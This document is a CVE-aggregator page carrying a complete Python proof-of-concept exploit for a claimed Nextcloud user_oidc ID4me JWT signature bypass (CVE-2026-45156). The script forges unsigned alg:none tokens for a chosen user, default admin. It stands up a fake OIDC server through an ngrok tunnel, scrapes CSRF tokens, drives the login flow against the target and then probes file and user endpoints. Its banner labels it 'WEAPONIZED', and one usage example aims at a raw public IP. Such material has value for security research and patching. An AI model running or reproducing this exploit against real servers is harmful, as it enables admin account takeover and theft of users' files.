5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / nextcloud_id4me_poc.py PY
#!/usr/bin/env python3
"""
=====================================================================
  CVE-2026-45156: Nextcloud user_oidc ID4me JWT Signature Bypass
  Proof of Concept (PoC) Exploit Script
  
  Author: CyberTechAjju
  
  Vulnerability : Missing JWT signature verification
  File          : lib/Controller/Id4meController.php (Lines 248-252)
  Impact        : Authentication bypass -> Admin takeover

  Usage: python nextcloud_id4me_poc.py <LAB_URL> [--user admin]
  Example: python nextcloud_id4me_poc.py https://target.lab
  
  ===================================================================
  LEGAL DISCLAIMER: 
  This Proof of Concept (PoC) script is provided for EDUCATIONAL 
  AND AUTHORIZED SECURITY TESTING PURPOSES ONLY. It is intended for 
  security researchers and bug bounty hunters to test systems they 
  have explicit permission to audit. Any unauthorized use of this 
  tool against systems you do not own or have permission to test is 
  strictly prohibited and may be illegal. The author is not 
  responsible for any misuse or damage caused by this tool.
  ===================================================================
"""

import base64
import json
import os
import re
import socket
import sys
import time
import threading
import urllib.parse
from http.server import HTTPServer, BaseHTTPRequestHandler

try:
    import requests
    requests.packages.urllib3.disable_warnings()
except ImportError:
    print("\n  [!] Missing: pip install requests\n")
    sys.exit(1)

try:
    from pyngrok import ngrok, conf as ngrok_conf
except ImportError:
    print("\n  [!] Missing: pip install pyngrok\n")
    sys.exit(1)


# ============================================
#  CONSOLE
# ============================================
class C:
    R = "\033[91m"; G = "\033[92m"; Y = "\033[93m"
    CN = "\033[96m"; B = "\033[1m"; D = "\033[2m"
    X = "\033[0m"

def info(m):  print(f"  {C.CN}[*]{C.X} {m}")
def ok(m):    print(f"  {C.G}[+]{C.X} {m}")
def warn(m):  print(f"  {C.Y}[!]{C.X} {m}")
def fail(m):  print(f"  {C.R}[-]{C.X} {m}")
def step(n,m): print(f"\n  {C.Y}{C.B}{'='*55}\n  [{n}] {m}\n  {'='*55}{C.X}\n")

def banner():
    import time
    import sys
    
    # Hide cursor
    sys.stdout.write('\033[?25l')
    
    red = "\033[38;5;196m"
    dark_red = "\033[38;5;124m"
    neon_red = "\033[38;5;9m"
    white = "\033[97m"
    bold = "\033[1m"
    reset = "\033[0m"

    glitch_frames = [
        f"{red}  [x] INITIALIZING EXPLOIT PAYLOAD...{reset}",
        f"{dark_red}  [!] BYPASSING JWT SIGNATURE CHECKS...{reset}",
        f"{neon_red}  [>] INJECTING FORGED TOKENS...{reset}",
        f"{red}  [+] ACCESS GRANTED.{reset}"
    ]
    
    print("\n")
    for frame in glitch_frames:
        sys.stdout.write(f"\r{frame}")
        sys.stdout.flush()
        time.sleep(0.4)
    print("\n")

    hacker_art = f"""{bold}{neon_red}
    ██████╗ ██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗  ██████╗ 
    ██╔════╝ ██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝ 
    ██║      ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ 
    ██║      ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗
    ╚██████╗  ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝
     ╚═════╝   ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ {reset}
    """
    
    for line in hacker_art.split('\n'):
        print(line)
        time.sleep(0.05)

    print(f"""{bold}{white}
  ╔═══════════════════════════════════════════════════════════════╗
  ║   {neon_red}Nextcloud user_oidc - ID4me JWT Signature Bypass PoC{white}        ║
  ║   Fully Automated + Ngrok Tunnel Framework                    ║
  ║   Targeting: Id4meController.php (Lines 248-252)              ║
  ║                                                               ║
  ║   {dark_red}Author:{white} CyberTechAjju                                       ║
  ║   {dark_red}Status:{white} WEAPONIZED                                          ║
  ╚═══════════════════════════════════════════════════════════════╝{reset}
""")
    # Show cursor
    sys.stdout.write('\033[?25h')
    time.sleep(0.5)


# ============================================
#  JWT FORGERY
# ============================================
def b64url(data):
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).decode().rstrip("=")

def forge_jwt(user, issuer="https://attacker.id4me"):
    h = json.dumps({"alg": "none", "typ": "JWT"})
    p = json.dumps({
        "sub": user,
        "exp": 9999999999,
        "iat": int(time.time()),
        "aud": "nextcloud",
        "iss": issuer,
        "nonce": "poc",
        "email": f"{user}@exploit.poc",
        "preferred_username": user,
    })
    return f"{b64url(h)}.{b64url(p)}."


# ============================================
#  FAKE ID4ME OIDC SERVER
# ============================================
class SharedState:
    target_user = "admin"
    public_url = ""           # ngrok public URL
    token_requested = False   # did target hit /token?
    token_sent = ""           # JWT we sent back
    auth_redirected = False   # did we redirect back?
    requests_log = []         # all requests received

class OIDCHandler(BaseHTTPRequestHandler):
    def log_message(self, *_): pass

    def _json(self, obj, code=200):
        body = json.dumps(obj).encode()
        self.send_response(code)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", len(body))
        self.send_header("Access-Control-Allow-Origin", "*")
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        path = urllib.parse.urlparse(self.path).path
        query = dict(urllib.parse.parse_qsl(urllib.parse.urlparse(self.path).query))
        SharedState.requests_log.append(("GET", path, query))

        ok(f"  OIDC Server <-- GET {path}")

        if path == "/.well-known/openid-configuration":
            base = SharedState.public_url
            self._json({
                "issuer": base,
                "authorization_endpoint": f"{base}/authorize",
                "token_endpoint": f"{base}/token",
                "jwks_uri": f"{base}/jwks",
                "userinfo_endpoint": f"{base}/userinfo",
                "response_types_supported": ["code"],
                "subject_types_supported": ["public"],
                "id_token_signing_alg_values_supported": ["none", "RS256"],
                "scopes_supported": ["openid", "profile", "email"],
            })
            ok("  --> Sent OpenID Configuration")

        elif path == "/authorize":
            redirect_uri = query.get("redirect_uri", "")
            state = query.get("state", "")
            if redirect_uri:
                sep = "&" if "?" in redirect_uri else "?"
                loc = f"{redirect_uri}{sep}code=FORGED_AUTH_CODE&state={state}"
                self.send_response(302)
                self.send_header("Location", loc)
                self.end_headers()
                SharedState.auth_redirected = True
                ok(f"  --> Redirected back with forged auth code")
                ok(f"  --> To: {loc[:100]}")
            else:
                self._json({"error": "missing redirect_uri"}, 400)

        elif path == "/jwks":
            self._json({"keys": []})

        elif path == "/userinfo":
            self._json({
                "sub": SharedState.target_user,
                "email": f"{SharedState.target_user}@exploit.poc",
                "preferred_username": SharedState.target_user,
                "name": SharedState.target_user,
            })
            ok(f"  --> Sent userinfo for: {SharedState.target_user}")

        else:
            self.send_error(404)

    def do_POST(self):
        path = urllib.parse.urlparse(self.path).path
        content_len = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(content_len).decode() if content_len else ""
        SharedState.requests_log.append(("POST", path, body))

        ok(f"  OIDC Server <-- POST {path}")

        if path == "/token":
            jwt = forge_jwt(SharedState.target_user, SharedState.public_url)
            SharedState.token_requested = True
            SharedState.token_sent = jwt
            self._json({
                "access_token": "fake_access_token_poc",
                "token_type": "Bearer",
                "expires_in": 3600,
                "id_token": jwt,
                "scope": "openid profile email",
            })
            ok(f"  --> FORGED JWT SENT for user: {SharedState.target_user}")
            ok(f"  --> Token: {jwt[:60]}...")
        else:
            self.send_error(404)


def start_oidc_server(port=9999):
    srv = HTTPServer(("0.0.0.0", port), OIDCHandler)
    t = threading.Thread(target=srv.serve_forever, daemon=True)
    t.start()
    return srv


# ============================================
#  NGROK TUNNEL
# ============================================
def start_ngrok_tunnel(port=9999):
    """Start ngrok tunnel and return public HTTPS URL"""
    info("Starting ngrok tunnel...")
    info(f"Tunneling localhost:{port} to public URL...")

    try:
        # Kill any existing ngrok
        ngrok.kill()
        time.sleep(1)

        # Start tunnel
        tunnel = ngrok.connect(port, "http")
        public_url = tunnel.public_url

        # Force HTTPS
        if public_url.startswith("http://"):
            public_url = public_url.replace("http://", "https://", 1)

        ok(f"Ngrok tunnel active!")
        ok(f"Public URL: {C.B}{public_url}{C.X}")
        ok(f"Local:      http://localhost:{port}")
        return tunnel, public_url

    except Exception as e:
        fail(f"Ngrok failed: {e}")
        fail("Make sure ngrok is configured: ngrok config add-authtoken <YOUR_TOKEN>")
        fail("Get free token at: https://dashboard.ngrok.com/signup")
        return None, None


# ============================================
#  SCANNER + EXPLOITER
# ============================================
class NextcloudExploit:

    def __init__(self, target):
        self.target = target.rstrip("/")
        if not self.target.startswith("http"):
            self.target = f"http://{self.target}"
        self.s = requests.Session()
        self.s.verify = False
        self.s.headers["User-Agent"] = (
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
            "AppleWebKit/537.36 (KHTML, like Gecko) "
            "Chrome/125.0.0.0 Safari/537.36"
        )
        self.version = None
        self.id4me_active = False
        self.vuln_confirmed = False

    # -- Phase 1: Detect --
    def detect_nextcloud(self):
        step(1, "DETECTING NEXTCLOUD")
        try:
            r = self.s.get(f"{self.target}/status.php", timeout=15)
            if r.status_code == 200:
                data = r.json()
                self.version = data.get("versionstring", data.get("version", "?"))
                ok(f"Nextcloud v{C.B}{self.version}{C.X}")
                ok(f"Product: {data.get('productname', 'Nextcloud')}")
                return True
        except:
            pass
        try:
            r = self.s.get(f"{self.target}/login", timeout=15)
            if "nextcloud" in r.text.lower():
                ok("Nextcloud login page found")
                self.version = "unknown"
                return True
        except Exception as e:
            fail(f"Connection error: {e}")
        fail("Not a Nextcloud instance!")
        return False

    # -- Phase 1.5: Extract CSRF Token --
    def grab_csrf_token(self):
        step("1b", "EXTRACTING CSRF TOKEN")
        try:
            r = self.s.get(f"{self.target}/login", timeout=10)
            # Method 1: data-requesttoken attribute
            m = re.search(r'data-requesttoken="([^"]+)"', r.text)
            if m:
                self.csrf_token = m.group(1)
                ok(f"CSRF token (data-requesttoken): {self.csrf_token[:30]}...")
                return True
            # Method 2: head[data-requesttoken]
            m = re.search(r"requesttoken\s*[=:]\s*[\"']([^\"']+)", r.text)
            if m:
                self.csrf_token = m.group(1)
                ok(f"CSRF token (regex): {self.csrf_token[:30]}...")
                return True
            # Method 3: meta tag
            m = re.search(r'<meta[^>]*requesttoken[^>]*content="([^"]+)"', r.text, re.I)
            if m:
                self.csrf_token = m.group(1)
                ok(f"CSRF token (meta): {self.csrf_token[:30]}...")
                return True
            # Method 4: inline JS
            m = re.search(r'oc_requesttoken\s*=\s*["\']([^"\']+)', r.text)
            if m:
                self.csrf_token = m.group(1)
                ok(f"CSRF token (JS): {self.csrf_token[:30]}...")
                return True
            warn("CSRF token not found on login page")
            # Try getting it from a cookie or header
            if 'nc_token' in self.s.cookies:
                self.csrf_token = self.s.cookies['nc_token']
                ok(f"CSRF token (cookie): {self.csrf_token[:30]}...")
                return True
        except Exception as e:
            fail(f"Error grabbing CSRF: {e}")
        self.csrf_token = ""
        return False

    # -- Phase 2: Check ID4me --
    def detect_id4me(self):
        step(2, "CHECKING user_oidc & ID4me")
        found = []

        # Login page check
        try:
            r = self.s.get(f"{self.target}/login", timeout=10)
            if "id4me" in r.text.lower():
                found.append("ID4me on login page")
            if "user_oidc" in r.text.lower():
                found.append("user_oidc on login page")
        except:
            pass

        # Endpoint probing
        eps = [
            "/index.php/apps/user_oidc/id4me",
            "/index.php/apps/user_oidc/id4me/code",
            "/apps/user_oidc/id4me",
            "/apps/user_oidc/id4me/code",
        ]
        for ep in eps:
            try:
                r = self.s.get(f"{self.target}{ep}", timeout=8, allow_redirects=False)
                if r.status_code != 404:
                    found.append(f"{ep} -> HTTP {r.status_code}")
            except:
                pass

        # OIDC API
        try:
            r = self.s.get(
                f"{self.target}/ocs/v2.php/apps/user_oidc/api/v1/providers",
                headers={"OCS-APIRequest": "true"}, timeout=8)
            if r.status_code != 404:
                found.append(f"OIDC API -> HTTP {r.status_code}")
        except:
            pass

        if found:
            for f_ in found:
                ok(f_)
            self.id4me_active = True
            return True
        fail("ID4me NOT found")
        return False

    # -- Phase 3: Forge JWT --
    def show_forged_token(self, user):
        step(3, "FORGING JWT TOKEN")
        token = forge_jwt(user)
        parts = token.split(".")
        header = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
        payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))

        ok(f"Target user: {C.B}{user}{C.X}")
        ok(f"Algorithm:   {C.R}none (no signature!){C.X}")
        info(f"Header:  {json.dumps(header)}")
        info(f"Payload: {json.dumps(payload)}")
        info(f"Token:   {C.D}{token[:70]}...{C.X}")
        return token

    # -- Phase 4: Ngrok + Exploit --
    def exploit_with_ngrok(self, user, port=9999):
        step(4, "STARTING ATTACK INFRASTRUCTURE")

        # Start fake OIDC server
        info("Starting fake OIDC authority server...")
        srv = start_oidc_server(port)
        ok(f"OIDC server running on port {port}")
        print()

        # Start ngrok tunnel
        tunnel, public_url = start_ngrok_tunnel(port)
        if not public_url:
            fail("Cannot proceed without ngrok tunnel!")
            fail("Run: ngrok config add-authtoken <YOUR_TOKEN>")
            srv.shutdown()
            return False

        # Set shared state
        SharedState.target_user = user
        SharedState.public_url = public_url
        SharedState.token_requested = False
        SharedState.auth_redirected = False
        SharedState.requests_log = []
        print()

        info(f"Fake authority public URL: {C.B}{public_url}{C.X}")
        info(f"Target will connect to this URL for OIDC flow")

        # --- EXPLOIT ---
        step(5, "EXPLOITING - FULL ID4me LOGIN FLOW")

        ngrok_domain = urllib.parse.urlparse(public_url).hostname

        # Build headers with CSRF token
        csrf_headers = {
            "requesttoken": self.csrf_token,
            "OCS-APIRequest": "true",
            "X-Requested-With": "XMLHttpRequest",
            "Origin": self.target,
            "Referer": f"{self.target}/login",
        }
        info(f"Using CSRF token: {self.csrf_token[:30]}...")
        info(f"Ngrok domain: {ngrok_domain}")
        print()

        # Method A: Trigger ID4me login with CSRF token
        info("Method A: ID4me login with CSRF token...")

        id4me_identifiers = [
            f"exploit@{ngrok_domain}",
            f"{ngrok_domain}",
            f"admin@{ngrok_domain}",
            f"test@{ngrok_domain}",
        ]

        login_eps = [
            "/index.php/apps/user_oidc/id4me",
            "/apps/user_oidc/id4me",
        ]

        for ep in login_eps:
            for identifier in id4me_identifiers:
                try:
                    # POST with CSRF token in header
                    r = self.s.post(
                        f"{self.target}{ep}",
                        data={"id4me_identifier": identifier},
                        headers=csrf_headers,
                        allow_redirects=False, timeout=15,
                    )
                    info(f"  POST {ep} [{identifier[:30]}] -> HTTP {r.status_code}")

                    if r.status_code in (302, 303, 307):
                        loc = r.headers.get("Location", "")
                        ok(f"  REDIRECT -> {loc[:120]}")

                        if loc:
                            ok("  Following redirect chain...")
                            r2 = self.s.get(loc, allow_redirects=True, timeout=20)
                            info(f"  Final: HTTP {r2.status_code} at {r2.url[:100]}")

                            if any(x in r2.url for x in ["/dashboard", "/apps/files"]):
                                self.vuln_confirmed = True
                                ok(f"  {C.R}{C.B}LANDED ON DASHBOARD - AUTH BYPASS!{C.X}")

                    # If we got past 412, no need to try more identifiers
                    if r.status_code != 412:
                        break

                except Exception as e:
                    info(f"  {ep} -> Error: {e}")

        # Method A2: Try JSON body instead of form data
        print()
        info("Method A2: ID4me login with JSON body...")
        for ep in login_eps:
            try:
                json_headers = {**csrf_headers, "Content-Type": "application/json"}
                r = self.s.post(
                    f"{self.target}{ep}",
                    json={"id4me_identifier": f"exploit@{ngrok_domain}"},
                    headers=json_headers,
                    allow_redirects=False, timeout=15,
                )
                info(f"  POST(JSON) {ep} -> HTTP {r.status_code}")

                if r.status_code in (302, 303, 307):
                    loc = r.headers.get("Location", "")
                    ok(f"  REDIRECT -> {loc[:120]}")
            except Exception as e:
                info(f"  {ep} -> Error: {e}")

        # Wait for token exchange
        info("\n  Waiting 5s for async token exchange...")
        time.sleep(5)

        # Method B: Direct callback with forged code + CSRF
        print()
        info("Method B: Direct callback injection with CSRF...")

        code_eps = [
            "/index.php/apps/user_oidc/id4me/code",
            "/apps/user_oidc/id4me/code",
        ]

        for ep in code_eps:
            # GET with CSRF headers (primary — HTTP 405 on POST means GET only)
            try:
                r = self.s.get(
                    f"{self.target}{ep}",
                    params={"code": "FORGED_AUTH_CODE", "state": "poc"},
                    headers=csrf_headers,
                    allow_redirects=False, timeout=10)
                info(f"  GET {ep} -> HTTP {r.status_code}")

                if r.status_code in (302, 303, 307):
                    loc = r.headers.get("Location", "")
                    ok(f"  REDIRECT -> {loc[:120]}")
                    if any(x in loc for x in ["/dashboard", "/apps/"]):
                        self.vuln_confirmed = True
                        ok(f"  {C.R}{C.B}REDIRECT TO DASHBOARD!{C.X}")
            except Exception as e:
                info(f"  GET -> {e}")

            # POST with CSRF
            try:
                r = self.s.post(
                    f"{self.target}{ep}",
                    data={"code": "FORGED_AUTH_CODE", "state": "poc"},
                    headers=csrf_headers,
                    allow_redirects=False, timeout=10)
                info(f"  POST {ep} -> HTTP {r.status_code}")

                if r.status_code in (302, 303, 307):
                    loc = r.headers.get("Location", "")
                    ok(f"  REDIRECT -> {loc[:120]}")
                    if any(x in loc for x in ["/dashboard", "/apps/"]):
                        self.vuln_confirmed = True
                        ok(f"  {C.R}{C.B}REDIRECT TO DASHBOARD!{C.X}")
            except Exception as e:
                info(f"  POST -> {e}")

        # Check what our OIDC server received
        print()
        step(6, "CHECKING ATTACK SERVER LOGS")

        info(f"Total requests received: {len(SharedState.requests_log)}")
        for method, path, data in SharedState.requests_log:
            ok(f"  {method} {path}")

        print()
        if SharedState.token_requested:
            ok(f"{C.G}{C.B}TARGET HIT /token - FORGED JWT WAS SENT!{C.X}")
            ok(f"JWT sent: {SharedState.token_sent[:70]}...")
            self.vuln_confirmed = True
        else:
            info("Target did not request token from our server")

        if SharedState.auth_redirected:
            ok(f"{C.G}{C.B}TARGET WAS REDIRECTED THROUGH OUR AUTH!{C.X}")

        # Verify auth
        if self.vuln_confirmed:
            print()
            info("Verifying authenticated access...")
            self._check_auth()

        # Cleanup
        try:
            ngrok.disconnect(tunnel.public_url)
            ngrok.kill()
        except:
            pass
        srv.shutdown()

        return self.vuln_confirmed

    def _check_auth(self):
        checks = [
            (f"{self.target}/ocs/v2.php/cloud/user", "User info"),
            (f"{self.target}/remote.php/dav/files/admin/", "WebDAV files"),
            (f"{self.target}/index.php/apps/files/", "Files app"),
        ]
        for url, desc in checks:
            try:
                r = self.s.get(url, timeout=8, allow_redirects=False,
                             headers={"OCS-APIRequest": "true"})
                if r.status_code == 200:
                    ok(f"  {desc} -> {C.G}HTTP 200 ACCESSIBLE!{C.X}")
                    self.vuln_confirmed = True
                    try:
                        d = r.json()
                        uid = d.get("ocs", {}).get("data", {}).get("id")
                        if uid:
                            ok(f"  Logged in as: {C.B}{uid}{C.X}")
                    except:
                        pass
                else:
                    info(f"  {desc} -> HTTP {r.status_code}")
            except:
                pass

    # -- Final Report --
    def report(self, user):
        step("R", "FINAL REPORT")

        print(f"  Target:       {self.target}")
        print(f"  NC Version:   {self.version or 'N/A'}")
        print(f"  ID4me:        {'Active' if self.id4me_active else 'Not Found'}")
        print(f"  Target User:  {user}")
        print(f"  Ngrok URL:    {SharedState.public_url or 'N/A'}")
        print(f"  Token Sent:   {'YES' if SharedState.token_requested else 'NO'}")
        print(f"  Time:         {time.strftime('%Y-%m-%d %H:%M:%S')}")
        print()

        if self.vuln_confirmed:
            print(f"""{C.R}{C.B}
  =========================================================
  |          VULNERABLE - CONFIRMED                        |
  =========================================================
  |                                                         |
  |  JWT signature verification is MISSING.                 |
  |  Forged token accepted without any signature check.     |
  |  Authentication bypass -> admin takeover possible.      |
  |                                                         |
  |  Vuln File: Id4meController.php (Lines 248-252)         |
  |  Root Cause: base64_decode() without JWT::decode()      |
  |  TODO: "VALIATE SIGNATURE!" (never implemented)         |
  |                                                         |
  ========================================================={C.X}
""")
        elif self.id4me_active:
            print(f"""{C.Y}{C.B}
  =========================================================
  |       LIKELY VULNERABLE - ID4me ACTIVE                 |
  =========================================================
  |                                                         |
  |  ID4me endpoints active and responding.                 |
  |  Token exchange: {'COMPLETED' if SharedState.token_requested else 'NOT COMPLETED'}                        |
  |  Auth redirect:  {'YES' if SharedState.auth_redirected else 'NO'}                                  |
  |                                                         |
  |  The vulnerable code pattern exists:                    |
  |  explode() + base64_decode() without verify             |
  |  /** TODO: VALIATE SIGNATURE! */                        |
  |                                                         |
  ========================================================={C.X}
""")
        else:
            print(f"""{C.G}{C.B}
  =========================================================
  |        NOT VULNERABLE                                  |
  =========================================================
  |  user_oidc / ID4me not active on target.               |
  ========================================================={C.X}
""")

        # Vuln details
        print(f"""
  {C.B}Vulnerable Code (Id4meController.php:248-252):{C.X}

    {C.R}[$header, $payload, $signature] = explode('.', $data['id_token']);
    $plainHeaders  = json_decode(base64_decode($header), true);
    $plainPayload  = json_decode(base64_decode($payload), true);
    /** TODO: VALIATE SIGNATURE! */{C.X}

  {C.B}Fix:{C.X}
    {C.G}$keys = JWK::parseKeySet($jwks);
    $payload = (array) JWT::decode($data['id_token'], $keys);{C.X}
""")

    # -- Run Everything --
    def run(self, user="admin", port=9999):
        banner()

        if not self.detect_nextcloud():
            return

        self.grab_csrf_token()

        if not self.detect_id4me():
            self.report(user)
            return

        self.show_forged_token(user)
        self.exploit_with_ngrok(user, port)
        self.report(user)


# ============================================
#  MAIN
# ============================================
def main():
    if len(sys.argv) < 2 or sys.argv[1] in ("-h", "--help"):
        print(f"""
{C.CN}{C.B}  Nextcloud ID4me JWT Bypass - Automated PoC + Ngrok{C.X}

  {C.B}Usage:{C.X}
    python {sys.argv[0]} <TARGET_URL> [--user admin] [--port 9999]

  {C.B}Examples:{C.X}
    python {sys.argv[0]} https://219.93.30.140
    python {sys.argv[0]} http://target.lab:8080 --user admin

  {C.B}Setup (one-time):{C.X}
    pip install requests pyngrok
    ngrok config add-authtoken <YOUR_TOKEN>
    (Get token: https://dashboard.ngrok.com/signup)

  {C.B}Flow:{C.X}
    1. Detect Nextcloud + version
    2. Check user_oidc / ID4me
    3. Forge JWT (alg:none, no signature)
    4. Start fake OIDC server + ngrok tunnel
    5. Trigger ID4me flow with forged token
    6. Verify authentication bypass
    7. Print report
""")
        sys.exit(0)

    target = sys.argv[1]
    user = "admin"
    port = 9999

    args = sys.argv[2:]
    i = 0
    while i < len(args):
        if args[i] == "--user" and i+1 < len(args):
            user = args[i+1]; i += 2
        elif args[i] == "--port" and i+1 < len(args):
            port = int(args[i+1]); i += 2
        else:
            i += 1

    scanner = NextcloudExploit(target)
    scanner.run(user=user, port=port)


if __name__ == "__main__":
    main()